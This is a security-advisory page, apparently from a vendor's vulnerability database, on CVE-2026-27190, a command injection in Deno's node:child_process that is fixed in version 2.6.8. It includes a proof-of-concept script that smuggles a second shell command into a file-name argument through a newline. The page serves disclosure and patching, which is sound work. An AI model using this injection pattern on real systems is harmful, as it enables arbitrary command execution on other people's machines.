CVE-2026-27190 is a high-severity (CVSS 8.1) remote code execution vulnerability in deno. A fix is available for deno — see the affected versions and patch details below.
Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-27190.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-27190 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
denoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A command injection vulnerability exists in Deno's node:child_process implementation.
Reproduction
import { spawnSync } from "node:child_process";
import * as fs from "node:fs";
// Cleanup
try { fs.unlinkSync('/tmp/rce_proof'); } catch {}
// Create legitimate script
fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');
// Malicious input with newline injection
const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`;
// Vulnerable pattern
spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {
shell: true,
encoding: 'utf-8'
});
// Verify
console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));
Run: deno run --allow-all poc.mjs
The file /tmp/rce_proof is created, confirming arbitrary command execution.
Mitigation
All users need to update to the patched version (Deno v2.6.8).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | deno | all versions | 2.6.8cargo update -p deno --precise 2.6.8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for deno, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update deno to 2.6.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-27190 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-27190 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-27190. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-27190 in your dependencies?
O3 Security finds CVE-2026-27190 across crates.io dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.